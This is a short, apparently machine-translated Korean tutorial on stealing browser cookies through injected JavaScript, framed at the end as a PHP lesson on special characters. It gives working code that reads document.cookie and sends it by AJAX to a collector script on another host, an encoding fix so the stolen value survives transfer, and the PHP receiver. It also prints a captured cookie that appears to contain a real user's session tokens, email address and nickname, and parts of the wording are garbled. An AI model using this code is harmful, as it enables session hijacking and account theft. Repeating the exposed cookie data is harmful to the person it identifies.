침투 과정에서 JS 코드를 웹 페이지에 삽입하여 쿠키를 얻을 수 있습니다. 🎜>:document.cookie
그러면 획득한 쿠키를 어떻게 우리의 쿠키로 전송합니까? 섬기는 사람?
여기에서는 AJAX 기술을 사용하고 있습니다. 다만 Ajax는 cross domain 문제가 있어서 http 헤더에 다시 설정해 주어야 합니다. 여기서는 주로 쿠키 제출에 대해 이야기합니다.
먼저 섹션을 살펴보겠습니다JS코드:
xmlhttp.open(" GET", "http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+document.cookie,true);
여기서 웹페이지에서 얻은 쿠키는 receiveCookie.php에 제출되는데, 여기서 쿠키 일부 내용은 다음과 같습니다.
ULV=1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_359 57829; -37098b091.151ab228f90.0.920dc7c7;vjlast=1450275148;SUP=cv=1&bt=1450275168&et=1450361568&d=40c3&i=2611&us=1&vf=0&vt=0&ac=2&st=0<=1 &uid=2277147785&user=49335 4115%40qq.com&ag=4&name=493354115 %40qq.com&nick=% E7%BB%BF%E8%8C%B66888&sex=1&ps=0&email=&dob=&ln=493354115%40qq.com&os=&fmp=&lcp=;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35 CH47We9hTzl.1 ; ALF=1481811169;
제출 중에 "%", "&" 등과 같은 특수 문자가 나타나면, 자동으로 구문 분석되어 매개변수 전달 시 오류가 발생합니다.
해결책은 다음과 같습니다.var cookie = document.cookie;
cookie = escape(encodeURIComponent(cookie) ) ;
xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+cookie,true);
수신Cookie.php 수신:
$cookie = $_GET[ "쿠키"];
$cookie = (urldecode($cookie));
위 내용은 관련 내용을 포함하여 PHP에서 특수문자가 포함된 매개변수를 제출하는 방법을 소개한 내용입니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되길 바랍니다.